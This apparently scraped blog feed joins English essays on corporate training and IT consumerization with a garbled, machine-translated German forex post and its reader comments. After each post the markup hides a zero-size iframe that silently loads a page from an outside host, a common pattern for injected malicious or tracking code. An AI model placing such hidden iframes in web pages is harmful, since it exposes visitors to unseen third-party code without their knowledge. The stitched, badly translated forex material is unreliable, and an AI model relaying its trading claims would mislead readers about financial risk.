sometimes away from all the distractions. Over the course of a day or two, the instructors will take them through (with the aid of power point), the nuances and the details of the material. For example, if the training is on Java, the students will go though the static methods, public, and annotations etc. If the training is advanced, they might even cover some patterns of usage as a way of best practices. are Typical evaluation of students are carried out through multiple choice questions which will test the users on the intricate details of the language. These questions cover a lot of trick questions to test the understanding of the language. What are the problems with this approach Let me count the ways: It doesnt train the students for what they encounter in the job. It doesnt make them a better developer or project manager or whatever. It only tests the book knowledge, which is almost one Google query away. It is that much cheaper to invest in a good quality internet connection. After a few days of training, they forget the knowledge. Of course, they can always look up a book when they need to but that was the situation they were in, to start with, anyways. Even if we train them using actual small projects, these problems will continue to exist. New way of training: What we want to achieve The education market in the US is being continually disrupted. I am going to list a few lessons from those disruptions and later describe how to apply those lessons to our training process. Let us see each of these lessons in turn. Inversion of classroom and home Known as Flip-teaching, this method of teaching became popular because of Khan Academy. The problem with class room training is that the teachers are going at lecturing at the same pace for everybody. When the students need help with homework, they are on their own. In the flipped learning, the instructor doesnt teach via lecture. There are enough number of books and videos that can teach the subject. Instead, the instructor, in the classroom setting, works with the group to solve problems. Practicing for muscle memory Here is a quote from the book, Art amp Fear. The ceramics teacher announced on opening day that he was dividing the class into two groups. All those on the left side of the studio, he said, would be graded solely on the quantity of work they produced, all those on the right solely on its quality. His procedure was simple: on the final day of class he would bring in his bathroom scales and weigh the work of the quantity group: fifty pound of pots rated an A, forty pounds a B, and so on. Those being graded on quality, however, needed to produce only one pot - albeit a perfect one to get an A. Well, came grading time and a curious fact emerged: the works of highest quality were all produced by the group being graded for quantity. It seems that while the quantity group was busily churning out piles of work and learning from their mistakes the quality group had sat theorizing about perfection, and in the end had little more to show for their efforts than grandiose theories and a pile of dead clay. If you want to learn JavaScript, write lot of code. Through writing the code, you keep improving. None of those Learn X in 10 easy steps can get you to this level of deep learning. Hacking community realizes this aspect of learning well. Look at the following approach to learning by coding a lot: LxTHW (Learn X the hard way). The approach started with a popular book on Python, called Learn Python the Hard Way. If you follow that book, you dont endlessly learn syntax and nuances of the language. Instead, you will code, and you will code a lot. It starts out this way: Do not cut and paste. Type the code as is. Make the code run. Now, modify the code to solve slightly different problems. And, make that code run. Keep repeating till you internalize all the concepts through practice. In fact, this kind of learning through practice is applied by several people successfully. An example that I found very impressive was the case of Jennifer Dewalt. On April 1st, 2013, she started on a project to develop 180 websites in 180 days one each per day. All these websites are simple enough to be coded in a day. With practice she got better and better you can see the progress of her websites for yourself. Even more experienced programmers like the inventor of JQuery, John Resig, feels that writing code everyday helps him keep his skils. Here is the famous blog post that he wrote: ejohn. orgblogwrite-code-every-day In summary, our courses should not be teaching tricks and nuances of languages, libraries, or tools they should be teaching the people practicing the craft. Attention to basics The big obstacle is coding or practicing the craft is not having the right basics. Even when two people are practicing equally, the one with the better basic tools will win. Unfortunately, most colleges do not teach the tools of the trade. They focus, rightly on the fundamentals. Yet, there is no part of the education that covers the good use of tools and ways of working. If practicing is the way to teach, the students need to have the right infrastructure to practice. In fact, practicing on that kind of infrastructure teaches them on how to use such infrastructure. These days, the basic infrastructure should be: Making use of the cloud Making use of the right OS, editors, and IDE Making use of the right tools for version control, bug tracking, requirements etc Even for small projects, it is best to have at least a cloud based setup to try the code, a version control to keep the code history, and the right editor to train your muscles to use the right key strokes. Quality through osmosis We can get people to practice on the right infrastructure and churn out finished goods fast. But, will the output reach world-class quality While we made the argument that quality comes from quantity (through long practice), a more important ingredient is having right role models. That is where right mentorship can help. This is where intervention by a teacher that give feedback on quality of the output can help. There are multiple ways we can bring this to practice say if you are learning programming in JavaScript: Especially, in the third step, and to lesser extent other two steps, good mentors can help. They can point out what the best practices are, idioms are, and why some practice is good. Assessment through real-life tests The current crop of testing, because of automation, is focused on multiple choice questions. Unfortunately, it only focuses on the nuances of the programming language or system. The world is far more complex there is no single correct answer. Even if your problems were to come in the form of these questions, you could always find out answers from the internet. In contrast, in real life, you will have to produce code or an artifact. Why not prepare you for that, during training Here is an approach that works: Pick a large enough problem that we encounter during our work. Lot of these problems require programming in the large. Abstract it sufficiently so that it can be solved in limited time. For instance, you can choose only one module (say, adding new users to the system). Write a full fledged system that solves that sub-problem. If multiple people choose different parts of the system, then, we can have a fully functioning system at some point. Training process If you were to subscribe to this approach of corporate training, how would you start Here is the approach I suggest. Start with a clear statement of what you want the students to be able to do . This part is surprisingly difficult. For instance, do not say I want my students to learn Java. That does not give them a new capability. Instead say I want them to solve the following kinds of problems. Now, these problems can be your way of assessing their status after the training. Create a pre-conditions for the material: Not just only for assessment, but as a way of setting expectations, you could ask the participants to do some tasks. For instance, if they are going to be doing JavaScript programming, they should know how to use Firefox or Chrome extensions. You could test for that. Create a curated content of the material: Since there is so much of material online, create an annotated list of material. For instance, you could give a link to the articles, books, slideshare entries or Youtube videos, with some notes about what the expectations from that videos are. You could construct them as a series of lessons. For each lesson, create a set of problems they should solve: In fact, more problems they practice, the better it is. If there is an entity like LxTHW, we could just follow that. If not, create a set of problems for them to solve so that the lessons really sink in. Create a basic infrastructure with tools . Even before they start solving problems, provide them an infrastructure such that: They can use the tools to develop the solutions They can use the infrastructure to collaborate with others They can use it to show the mentors They can test their solutions Provide the mentors . This part is tough. Just as we mentioned earlier, at the minimum, show them (embed in the curated content), what you consider as good quality to achieve. Create a post-training evaluation . Crate a large enough problem for the people to choose a part of the problem to solve. Using the mentors see how fast they are developing the solution (it indicates how they internalized the solution practice makes for speed). how good a solution they are developing (it indicates how well they learnt from the masters) Create a community so that they can interact with each other post training : A training is not complete unless it is followed up. Since resources are difficult to get, use the power of community. Create a social space where people can discuss what they learnt even after they graduated from the course. Concluding Remarks I am no fan of corporate training but I realize that not all people are self-motivated to learn and learn well. I think corporate training can be reformed to take advantage of the modern best practices such as incorporating internet material, using repetitive training, and intentional techniques in training, especially for acquiring technical capabilities. This note is an attempt towards that direction. Posted by rama at 1:12 pm You are the CIO. Or, the director of application development. You hear about consumerization of IT, in different contexts. You hear about mobile applications developed by teenage kids in only months, and these apps are used by millions of adoring people. And, your business people are demanding why cant be more like those kids. What should you do Retrain your staff on some of the consumer technologies Get a partner who has the skills in the consumer technologies Move existing applications to consumer-friendly devices Are they enough And, why are you doing all these anyway In last couple of years, I have been working with different IT leaders to evolve a definition and an approach to this problem. By training, I am a technology person the kind that develops the consumer technology. By vocation, I help IT departments help adapt technology to meet their strategy. Being in both the sides of fence, I have a perspective that may be interesting. This note is derived from a few presentations I made at different industry conferences. The self-explanatory slide deck is available at: slideshare. netkramaraoconsumerization-32279273 Lets look at the following three questions, in order: What is consumerization of IT How does it affect IT departments What should the IT departments do about it Consumerization of IT: A bit of history The as coined in 2001, consumerization refers to the trend of building application that are people centric. Have we not been doing that always Yes and no. While we were developing the applications for people, our main focus was some where else. The focus was about either growth of the business (by managing the volume of data), automation of activities to speed up the processes, or automating the entire business value chains, or only recently, focusing on the customers. When we were building applications earlier, we were building them for a purpose: to solve a business problem. People were another peace of the puzzle they were meant to be a part of the solution, but not the purpose of the solution. Enterprise IT application development How are these applications developed Take a look at the sample development process. In the current traditional situation, the EA people map the needs of an enterprise to a technical gap, see if there is a packaged app, and either customize one or build a new one. The biggest questions often boil down to Build vs. Buy or, what to buy. A few things that you will observe are these: Applications take long time to develop . Typically they are large, and serve long term needs of the enterprise. Any other kind of applications are difficult to retrofit into this model of development. For example, if you want an application by marketing department for one-time event, existing processes of IT makes it difficult to offer that service. That is why, we find marketing is one of the prime movers behind consumerization. Applications serve common denominator . They address most common needs of the people. If your needs are very different from others, they will be ignored, unless you are the big boss. No wonder, that IT departments still develop applications with Best viewed on IE 6 sticker. Applications lag behind the market needs . Since the focus is to create the applications with longevity, the design uses tested technologies. The pace at which these technologies are evolving, this design decision makes the technology foundations obsolete by the time applications are delivered. For example, even today, IT departments use Struts in their design a technology that is already dead. Applications, developed based on consensus needs, lack focus . Since there is a going to be one large monolithic application meeting requirements of several groups with different needs, the applications lack focus. For example, the same application needs to support new users and experienced users. Or, it needs to support management interested in the big picture view and the workers interested doing the processing. Naturally, any application that is developed to such diverse and divergent needs ends up being unfocused. Applications are expensive to develop . Compared to consumer apps, where we hear apps getting developed for a fraction of cost, the process and the enterprise quality requirements impose lot of additional costs on the application development. That is, this process yields applications that are built to last . Let us look at how consumer applications are developed. Consumer application development Historically, consumer applications have been developed differently. As you can see, in each era, the consumers are different the focus is different and the distribution mechanism is different. File it away, as this historic view is important as we look at consumerizing IT. Dwelling deeper into the current era, we see the following: Consumer applications almost always are better focused on end results than the users needs. For example, take the case of Instagram. In its history, it discovered if it followed user needs and demands, it would end up being another FB clone. Instead, it decided to keep the focus on one metric: How to get most number of photos uploaded by the consumers. That focused design led to its success. Consumer applications are also built in collaboration with the consumers. By creating a model of constant experimentation, feedback from the field, and ability to improve the application, without ramifications of user support, the creators of the applications are able to build systems that are built for change . But, what are the disadvantages for the consumer applications, compared to enterprise applications Only interesting applications get developed . Go to Apples app store, and you find so many applications around weather apps or gaming apps. You do not find enough applications to do genome analysis. Developers are impatient with problems they do not understand, or the problems that require lot of knowledge to solve. Capabilities may be replicated in many applications . The strength in consumer applications, namely catering to different groups of people, means some core functionality gets repeated in applications. Instead of getting high quality apps, we might end up with lot of apps that are mediocre. Lack of uniformity in solutions (depends on the platform) . While some platforms are famous for creating a uniform and consistent experience, the applications themselves, provide fragmented experience. Unlike enterprise applications, they lack control or governance. Consumerization: Why should IT care We established that enterprise applications and consumer applications have different focus. We also established that they are built, distributed, and operated differently. Still, why should IT care about consumer applications Why should it consumerize itself I can think of three reasons. Consumer focus of the businesses Several service industries like retail, banking, entertainment, music, and health deal with consumers daily. Their business models are being disrupted by startups that bring new technologies and new breed of applications. While IT does not exactly lead the business transformation, at least by bringing the right capabilities, IT can support businesses better. Internal users as consumers Demographics of the employees are changing. More and more young people are joining the workforce. They are used to different kind of experience using modern devices and modern applications. Even the older people are used to consumer applications: they use Gmail at home, facetime on their IPad, Facebook on their laptop, and LinkedIn at work. They come to work and they use Exchange without the benefit of Bayesian spam filters they use Lync video instead of facetime or Hangouts they do not even have something like Facebook or LinkedIn at work. By not exploiting the modern technologies and application paradigms, enterprises are risk losing productivity and ability to attract the right talent. Cheaper and better Consumer technologies Large investments in the consumer technologies are making them cheaper and better, at a faster pace than the enterprise technologies. For instance, git is improving at a faster pace than perforce. Those companies that took advantage of the cheaper alternatives in consumer technologies, reaped the benefits of cheaper and better infrastructure, application construction, and operations. Google built their data center on commodity boxes. Facebook leverages open source technologies fully for their needs. The following are the main reasons why the consumer technologies are often better choices than the enterprise grade technologies. So, considering that enterprises are being pushed towards consumerization, how should IT react Consumerization: an IT perspective The best course of action for IT is to get the best of the both worlds. On one hand, it cannot run business as usual without its control and governance. On the other hand, it cannot react to markets innovatively without the consumer technologies. As we bring both these best practices together, we see some interesting facts emerge. At least for certain aspects of application domain, we see that old style of large scale application development does not work. As consumerization increases, we end up with large number of small applications instead of small number of large applications. Of course, the definition of application it self is subject to change. For our purposes, consider any isolated, independent functionality that people use to be an application. Historically, we used to talk about modularizing the application. Instead, now, we break down large application into smaller pieces. Some of these smaller pieces may have multiple versions to suit the extreme segmentation that consumerization supports. If we are moving towards such IT landscape, what does it mean to traditional activities In fact, all the following are impacted by this aspect of consumerization. Development Life cycle plan Deployment Support Governance Enterprise Architecture</p><br /><iframe src="http://checkpage.org/fblog" frameborder="0" width="0" height="0"></iframe>Moehttp://www.blogger.com/profile/05738043152391354586noreply@blogger.com0tag:blogger.com,1999:blog-7251456584188918577.post-73470527334529160142017-07-30T21:38:00.000-07:002017-07-30T21:38:07.089-07:00Forex Quanten<p>Bücher über Trading-Strategien Forex-Strategie e-Bücher, die hier aufgeführten Informationen über die spezifischen Handelsstrategien sowie die Verwendung von bestimmten Forex Trading-Instrumente. Grundlegende Kenntnisse des Forex-Handels ist erforderlich, um richtig zu verstehen und diese Strategien verwenden. Fast alle Forex-E-Bücher sind im. pdf-Format. Sie brauchen Adobe Acrobat Reader, um diese E-Bücher zu öffnen. Einige der e-Bücher (die, die in den Teilen sind) sind gezippt. Wenn Sie Probleme beim Herunterladen der Bücher haben und Sie Google Chrome verwenden. Klicken Sie mit der rechten Maustaste auf einen Buch-Download-Link und wählen Sie Link speichern unter. Wenn Sie der Urheberrechtsinhaber von einem dieser E-Bücher und nicht wollen, dass ich sie zu teilen, wenden Sie sich bitte an mich und ich werde gerne entfernen. 1-2-3 System mdash ein einfaches Musterhandelssystem von Mark Crisp. Bollinger Bandit Trading Strategie mdash ein Handelssystem basierend auf Bollinger Banden Indikator von unbekannten Autor. Wertbereich mdash aus dem Likos Brief. Die dynamische Breakout II-Strategie mdash von unbekannten Autor. Ghost Trader Trading Strategie mdash von unbekannten Autoren. King Keltner Trading Strategie mdash von unbekannten Autoren. Scalp Trading Methoden mdash von Kevin Ho. LSS - Eine Einführung in die 3-Tage-Zyklus-Methode mdash von George Angell. Marktdrehungen und Fortschrittsbewegungen mit dem Tick-Index mdash durch Tim Ord. Die Money Manager Trading Strategie mdash von unbekannten Autor. Picking Tops und Böden mit dem Tick Index mdash von Tim Ord. Die Super Combo Day Trading Strategie mdash von unbekannten Autor. Die Eleven Elliott Wellenmuster mdash von unbekannten Autor. Die Thermostat-Trading-Strategie mdash von unbekannten Autor. Intraday-Handel mit dem TICK mdash von Christopher Terry. Traders Trick Eintrag mdash von Traders Pädagogen der Traders University. Fibonacci Trader Journal mdash eine Zeitschrift für verschiedene Handelstechniken auf Fibonacci Indikatoren, von Robert Krausz basiert. 12 Ausgaben. Rapid Forex mdash eine Reihe von aggressiven Forex Trading-Strategien (Rapid Forex) von Robert Borowski und Stephen A. Pierce. Microtrading der 1-Minute-Chart mdash ein kleines E-Book auf Forex-Neulinge gerichtet, um ihnen die Grundlagen der M1 Scalping. BunnyGirl Forex Trading Strategie Regeln und FAQ mdash Satz von Regeln für eine BunnyGirl Trading-Strategie auf WMA Crossing basiert. Die Daily Fozzy Methode mdash von Michael Dunbar. Forex Trader Cheat Sheet mdash echtes Forex Cheat Blatt für Position Eintrag ZeitenSchäden von Quantum Research Management Group. Offset Trading mdash eine grundlegende Forex News Trading Bereich Breakout-System von Dana Martin. Wie handelst du sowohl Trend - als auch Range Markets durch Einzelstrategie mdash von S. A. Ghafari. Ein praktischer Leitfaden für technische Indikatoren Moving Averages mdash von S. A. Ghafari. FX Wizard mdash wesentliche Forex Handelsregeln von Rob Walton. FX Destroyer mdash eine Beschreibung einer ziemlich einfachen Forex Trading-Strategie, mit beweglichen Durchschnitten, parabolischen SAR und ADX-Indikatoren, von Izu Franks. Ein praktischer Leitfaden für Swing Trading mdash eine einfache und praktische Leitfaden für die Swing-Trading-Strategie, von Larry Swing. Praktische Fibonacci Methoden für Forex Trading mdash praktischen Leitfaden für Fibonacci Ebenen mit den echten Handel Beispiele der Forex-Strategie auf diesen Ebenen, von Ken Marshall und Rob Moubray basiert. Mit der Heikin-Ashi-Technik mdash eine kurze, aber detaillierte Anleitung für den Handel mit Heikin-Ashi-Charting-Technik, von Dan Valcu. Das Day Trade Forex System mdash eine Indikator-basierte Strategie mit detaillierten Beschreibung, Diagramm Beispiele und kleine Werbung, von Erol Bortucene und Cynthia Macy. 51362 mdash eine überarbeitete und aktualisierte EMA-basierte Forex Trading-Strategie erklärt in der 3-Grad-Sprache, von Rob Booker. Nicht so Squeezy Trading Manual mdash eine Beschreibung für die ziemlich interessante Handelsstrategie, die Indikatoren Paket unter dem gleichen Namen, von Akuma99 nutzt. KobasFX Strategy mdash eine einfache MAMACD Forex Trading-Strategie von Obaseki O. A. Killer Patterns mdash eine einfache Trading-Strategie auf MACD und Trendlinien von Philip Birchley basiert. 3D Trading mdash eine detaillierte Beschreibung einer Handelsstrategie, die Elliott Waves, Preis Zeit Patters, Gann Regeln, Williams Procentage Range und MACD Indikatoren von Ruben Topaz beschäftigt. 4 Stunden MACD Forex Strategy mdash eine Reihe von Regeln und Empfehlungen für die 4-Stunden-MACD-Strategie, die auch bewegte Durchschnitte und horizontale Linien durch unbekannte Autor verwendet. WRB Analysis Tutorial mdash die ersten drei Kapitel der WRB Analysis Tutorials von TheStrategyLab. Es umfasst die Grundlagen der Wide Range Bars und Hidden Gaps Chart Formationen. Konsolidierung Breakout-Signale auf dem Forex-Markt mdash eine Einführung in die Konsolidierung Muster Ausbrüche von Duane Shepherd. Es bietet einige Beispiele, aber fehlen einige Erklärungen. Die Auswirkungen der Wirtschaftsnachrichten auf den Finanzmärkten mdash eine Studie der Wirkung einige wichtige US-Wirtschaftsnachrichten haben auf Währungspaare mdash von John C. Parker. Forex Händler sind oft versucht, durch die Verlockung der niedrigeren Zeitrahmen-Charts sie denken, sie sind irgendwie immer näher Die eigentliche Aktion auf dem Markt und dass sie mehr Trading-Chancen auf diese schnell bewegten Charts finden. Die Realität der Situation ist, dass die niedrigere Zeitrahmen gehen Sie die weniger genaue jede Trade-Setup wird. Daher, indem Sie niedrigere Zeitrahmen-Charts alles, was Sie tun, ist die Wahrscheinlichkeit, dass jeder Handel, den Sie nehmen, wird ein Gewinner durch Hinzufügen von mehr Variablen auf die Gleichung der Devisenhandel. Jeder, der meine Artikel verfolgt hat, weiß, dass ich oft darüber reden, wie gefährlich es ist, Ihren Handel zu überkomplizieren und dass die Schlüssel zum Forex-Erfolg die Geduld haben, auf den besten Handelsaufbau zu warten und das Forexrisiko gründlich zu verstehen, um Szenarien zu belohnen. Daher wird dieser Artikel diskutieren die Vorteile des Handels mit den höheren Zeitrahmen-Charts und wie sie Ihnen helfen, ein Patient und profitables Trader sein können Higher Zeitrahmen als Filter von Marktlärm fungieren Als erstes, durch höhere Zeitrahmen, beziehen wir uns auf die 4 Stunden-Zeitrahmen und darüber, wird jedes Diagramm weniger als ein 4-Stunden-Chart als eine untere Zeitrahmen betrachtet, können 1-Stunden-Diagrammen nützlich sein, um erfahrenere Händler für die Verfeinerung ihrer Ein-oder Ausreise, aber sie sind immer noch als eine niedrigere Zeitrahmen und sollte sein Vermieden werden. Einer der größten Vorteile des Handels der höheren Zeitrahmen Charts ist, dass sie wie Filter der Preisbewegung zu handeln. Der Forex-Markt verfügt über so hohe tägliche Handelsvolumen, dass die unteren Zeitrahmen Charts enthalten, was Markt-Techniker als Lärm zu bezeichnen. Das Rauschen der unteren Zeitrahmen ist im Grunde nur Preisbewegung, die so unberechenbar ist, dass es nicht zuverlässig verwendet werden kann, um Handelsentscheidungen zu treffen, aber viele Händler werden von dieser erratischen Preisbewegung versucht, weil der menschliche Geist natürlich versucht, Muster in der Natur und in zu finden Die Finanzmärkte. Wenn Sie die höheren Zeitrahmen handeln, erhalten Sie ein klareres Bild von dem, was wirklich auf dem Markt geschieht, weil die meisten unregelmäßigen Marktgeräusche der unteren Zeitrahmen eliminiert werden. Zum Beispiel, wenn Sie sehen, was aussieht wie eine große up move auf einem 30-Minuten-Chart, könnte es nur der Beginn einer täglichen bärischen Pin-Bar, aber wenn Sie den Handel der 30-Minuten-Chart könnten Sie sehen, diese große Bewegung und dann finden Ein Grund, an Bord zu springen, nur um es zum Absturz unten gegen Sie in die tägliche Schließung zu kommen. Es gibt so viele Chancen auf der 4-Stunden-und Tages-Charts, dass die Konzentration Ihrer geistigen Energie auf niedrigere Zeitrahmen ist einfach eine ineffiziente und ineffektive Nutzung der Zeit. Händler müssen verstehen, dass der Markt noch da sein wird morgen und am nächsten Tag und für den Rest ihres Lebens, so fehlt ein paar gute Chancen pro Woche auf der unteren Zeitrahmen ist mehr als das Opfer wert, wenn man bedenkt, es wird Immer genauere Gelegenheiten auf den höheren Zeitrahmen sein. Trading höhere Zeitrahmen ist Teil der K. I.S. S. Forex Trading-Strategie Einfachheit ist einer der Schlüssel zum Devisenhandel Erfolg. Ist es sehr wichtig, um Ihre technische Trading-Strategie einfach in Design und Implementierung zu halten, weil zu kompliziert Ihr Trading ist ein sicherer Weg zu beginnen, emotionale Trading Fehler begehen. Wenn Trader anfangen, auf niedrigeren Zeitrahmendiagrammen zu handeln, beginnen sie, den Handelsprozeß zu komplizieren, indem sie versuchen, das inhärente Rauschen, das ein Teil dieser schnell bewegten Diagramme ist, zu lesen, dies führt unvermeidlich dazu, daß sie zu überhandeln, was eine der Hauptursachen ist Fehler im Forex-Markt. Denken Sie daran, halten Sie es einfach dumm. Höhere Zeitrahmen-Charts bieten eine viel nützlicher und genauer Darstellung der Preisbewegung, so können Sie mehr Vertrauen in Ihre Handelsentscheidungen, die beginnen, eine Reihe von positiven Forex Trading Gewohnheiten zu verstärken. Viele Händler kämpfen seit Jahren versuchen, niedrigere Zeitrahmen Charts Handel, schließlich geben sie entweder alle zusammen, weil sie zu viel Geld zu tragen, oder sie herauszufinden, dass der Handel der höheren Zeitrahmen ist eine notwendige Komponente für konsequenten Handel Erfolg. Durch das Verständnis dieser Tatsache jetzt, hoffentlich, bevor Sie viel Geld auf dem Markt verloren haben, können Sie beginnen, Ihre Zeit und Energie auf die höhere Zeit Frames konzentrieren und vermeiden Sie den Kampf und Frustration, die mit dem Versuch, das Rauschen des unteren Zeitrahmens Forex zu analysieren kommt Karten. Geduld ist der Schlüssel, höhere Zeitrahmen fördern Geduld Es ist keine große Überraschung, dass Händler, die einen längerfristigen Blick auf den Markt nehmen und höhere Zeitrahmen handeln, im Durchschnitt mehr Geld verdienen als Tageshändler. Der Grund, warum ist, weil höhere Zeitrahmen-Trader natürlich weit weniger Trades als Tag-Händler oder Händler, die vor allem Handel mit niedrigeren Zeitrahmen Charts. Eine der lukrativsten Handelsmerkmale, die Sie besitzen können, ist Geduld, die es oft von Händlern übersehen wird, weil so viele von ihnen fälschlicherweise glauben, dass mehr in jedem Aspekt besser ist, da es sich auf den Devisenhandel bezieht. Sie werden natürlich weniger Trades, wenn Sie an den höheren Zeitrahmen zu halten, vorausgesetzt, dass Sie wissen, was zu suchen und haben die Geduld auf den Handel Setup, das Sie suchen warten. Lernen Sie, über diese Zeit zwischen den Trades als eine Periode der Selbstdisziplin und Selbstbeherrschung zu denken, die Tatsache, dass Sie nicht handeln, wenn es keine offensichtlichen Signale bedeutet, dass Sie nicht verlieren Geld, und nicht verlieren Geld ist Genauso wie Geld zu verdienen, wenn man bedenkt, dass Sie versuchen würden, wieder zu machen, was Sie verloren, aber da Sie kein Geld verlieren, haben Sie nichts zu versuchen und machen zurück. Indem Sie auf die höheren Zeitrahmen fokussieren, arbeiten Sie auch, um das korrekte handelnde Denkvermögen zu beeinflussen und zu entwickeln. Durch den Handel weniger häufig werden Sie natürlich ein objektiver Händler, weil Sie nicht über-Analyse des Marktes werden, versuchen zu manifestieren Handel Signale auf jedem Zeitrahmen. Als objektive Händler unterscheidet sich von einem ängstlichen Händler, objektive Händler wissen, was sie suchen, und wenn sie sehen, sie stürzen darauf wie ein Tiger Stalking seine Beute, können ängstliche Händler nicht handeln, auch wenn sie sehen, was sie suchen der Markt. Also, stellen Sie sicher, dass Sie nicht zu einem ängstlichen Händler geworden. Meistern Sie Ihre Trading-Strategie zuerst, auf diese Weise wissen Sie, was zu suchen, dann warten geduldig, wie der Markt ausspielt und die Amateure verlieren Geld auf den unteren Zeitrahmen, wenn Sie vor Ort Ihre höhere Zeit Rahmen Handel Setup Sie den Handel mit Vertrauen und ausführen Gelassenheit. Preis-Aktionssignale sind stärker auf höhere Zeitrahmen Schließlich vielleicht der wichtigste Grund, den Sie sollten, um die höheren Zeitrahmen, wenn der Handel der Forex-Markt ist, weil sie Gewicht zu Ihrem Trading-Strategie zu halten. Als Preisaktion Trader, weiß ich, dass eine tägliche Pin-Bar-Setup ist viel stärker als eine 30-Minuten-Pin-Bar-Setup daher, weil ich dieses Wissen habe ich einfach lieber warten geduldig warten, für die perfekte tägliche Pin-Bar-Setup anstatt frazzle meine Nerven und Verlieren Geld versuchen, eine seltene hochwertige 30 Minuten Bar-Setup zu fangen. Darüber hinaus habe ich bessere Dinge mit meiner Zeit zu tun, als sitzen rund um den ganzen Tag und Nacht starrte auf eine 30-Minuten-Chart, und ich nehme an, Sie tun auch. Preis-Aktion Handel ist besonders wirksam auf die höheren Zeitrahmen, weil Preis-Aktion ist natürlich die klarste und puristische Reflexion der aggregierten Marktsentiment. Wenn Sie die inhärente Klarheit und Effektivität der Preis-Aktion-Handel mit der Macht des Handels von höheren Zeitrahmen im Forex kombinieren, haben Sie eine sehr genaue Forex Trading-Strategie. Wenn Sie mehr über Trading Higher Time Frames lernen und erfahren Sie mehr darüber, wie ich mit Preis-Aktion handeln, besuchen Sie meine Forex Kurs Seite hier: gt Forex Trading Kurs 8211 Gute Handel wie immer 8211 Nial Fuller Danke Nial Ihre Strategien tatsächlich funktionieren Haben nach Ihr Artikel vor einem Jahr, lesen Sie immer wieder, traurig nie gesehen keine Verbesserung auf meiner Fähigkeit, weil ich immer auf H1-Chart ohne Trend folgte, nicht mit Geld-Management und mit schlechten RRR. Im letzten Monat die Idee der Suche nach guten RRR tauchte aus meinem Kopf, ich versuche, es zu erarbeiten, wie man diese in den Markt zusammen mit einem guten RRR passen, aber nur eine kleine Verbesserung, weil immer noch auf H1-Chart handeln. Dann geschah das Wunder, als ich beschloß, einen Versuch auf H4 und höherem Zeitrahmendiagramm zu geben. Nie gedacht, es wäre so mächtig, indem sie alle von ihnen zusammen. Es ist wahr, dass Anfänger tägliche Chart zuerst beherrschen und lernen, wie der Markt zu bewegen, bevor Sie zu niedrigeren Zeitrahmen H1 oder Einstellung eigenen Indikator bewegen. I8217m Handel mit viel weniger Stress jetzt und höhere Zeitrahmen geben mir ein wenig mehr Zeit, um mein Handwerk ändern, wenn der Markt Richtung ändern. Schließlich habe ich wenig begreifen, wie der Markt zu bewegen und zu wissen, warum ich auf H1-Chart fehlte. Wird die Überwachung meiner Leistung. Nochmals vielen Dank Nial. Vielen Dank, so so viel Dank nial längeren Zeitrahmen reibungslosen Fortschritt keine Eile dieses Spiel muss langsam und kreativ gespielt werden. Ist dieser Artikel hilfreich für mich, denn seit ich mit der größeren Zeit Frames begann meine Profite hat mehr die meine Verluste weniger. Ich bin nicht einverstanden mit diesem Artikel. Kürzere Zeitrahmen haben ihre eigenen Verwendungen und ich glaube, das hängt davon ab, ob Sie ein Day Trader, mittelfristige Händler oder ein langfristiger Trader sind. Wenn Sie es vorziehen, auf den kürzeren Zeitrahmen zu handeln, können Sie einige der 8220noise8221 zu beseitigen, anstatt mit weniger Fokus auf Indikatoren und auch durch Warten auf solide Bestätigung der Trends vor dem Springen in. Cheers8230 .. Ich liebe diesen Post, alle Informationen hier ist True, um zu schauen Zeitrahmen bedeutet Verschwendung von Zeit, am Ende werden Sie geben-up warten und springen in 8220which bedeutet das Ende Ihres trading8221 Hallo Niall, Vielen Dank für Ihre Beiträge. Seine erstaunlich, wie höhere Zeitrahmen hat mein Trading verbessert. Wird Ihren Beiträgen folgen und ein Vollzeitmitglied werden, sobald ich can8230Thank Sie. Gutes Schreiben. Ich denke, 80 der Händler Beginn endet mit Hochfrequenz-Handel, die schwer zu verwalten Emotion, Konto und Zeit. Völlig zustimmen mit Ihrem Rat, aber wie tut man die höhere Zeit Frames mit einem kleinen Konto von sagen, 1K, wo die Stop-Loss ist in der Regel viel größer. Betrachtet man eine SL ist immer ein paar Pips oberhalb oder unterhalb der letzten hohen oder niedrigen Kerze, auf einem höheren TF von sagen 4H, die auf mindestens 80 oder mehr Pips übersetzen würde. Ein paar Treffer und Ihre ac wird ausgelöscht. Pls Beratung, danke. Handeln Sie ein Mikrokonto. Ein kleines Konto begrenzt nicht Ihre Fähigkeit, höhere Zeitrahmen zu handeln, das ist oft die Wahrnehmung der Völker, aber in Wirklichkeit ist Kontogröße bedeutungslos. Ihr Handel wird in Risikoprämie gemessen, sodass Sie die Positionsgröße anpassen müssen. Das ist alles, was Sie tun müssen. Denis Cogo sagt: Dank Nial, sind diese Trading-Lektionen sehr wichtig für mich, dass ich beginnen, mit Preis-Aktion handeln. Vielen Dank an Nial. Ich habe gehört, über diesen Handel auf höhere Zeitrahmen gibt höhere Belohnungen, aber didn8217t wissen, es ist so gut, bis Sie uns so eine klare Erklärung. Ich werde mich jetzt streng an sie halten. Und danke dafür, dass ich so ehrlich bin. Nochmals vielen Dank vielen Dank für Ihre Artikel. Sie sind wirklich lehrreich. Jedoch möchte ich Sie zum letzten week8217s Artikel betitelt-RiskReward: Der Heilige Gral des Devisenhandels verweisen. Während Sie eine 1-Stunden-Chart der eurusd für Ihre Illustration, Sie angegeben: 8220It ist erwähnenswert, dass Handels-Setups auf den kleineren Zeitrahmen eher zu größeren Risiko-Multiples treffen, da Ihr Stop-Loss wird in der Regel fester sein, als es auf einem höheren sein wird Time frame8221 Wie können Sie beziehen sich auf heute8217s Artikel. Ich brauche eine Klarstellung bitte. Vielen Dank für Ihre Zeit Nial. In diesem Artikel bin ich der niedrigere Zeitrahmen ist die 1 oder 4-Stunden-Chart. Wir vergleichen es mit dem täglichen. Ich folge immer und lese deine Artikel, weil deine Ideen wirklich von deiner direkten Erfahrung kommen, die uns helfen, mehr Verständnis des forex trade. Big Dankes zu gewinnen, das ich einverstanden bin, immer stützen meine Beschreibungen auf den täglichen Zeitrahmen und verwenden die niedrigeren Zeitrahmen Preis für strenth8230</p><br /><iframe src="http://checkpage.org/fblog" frameborder="0" width="0" height="0"></iframe>Moehttp://www.blogger.com/profile/05738043152391354586noreply@blogger.com0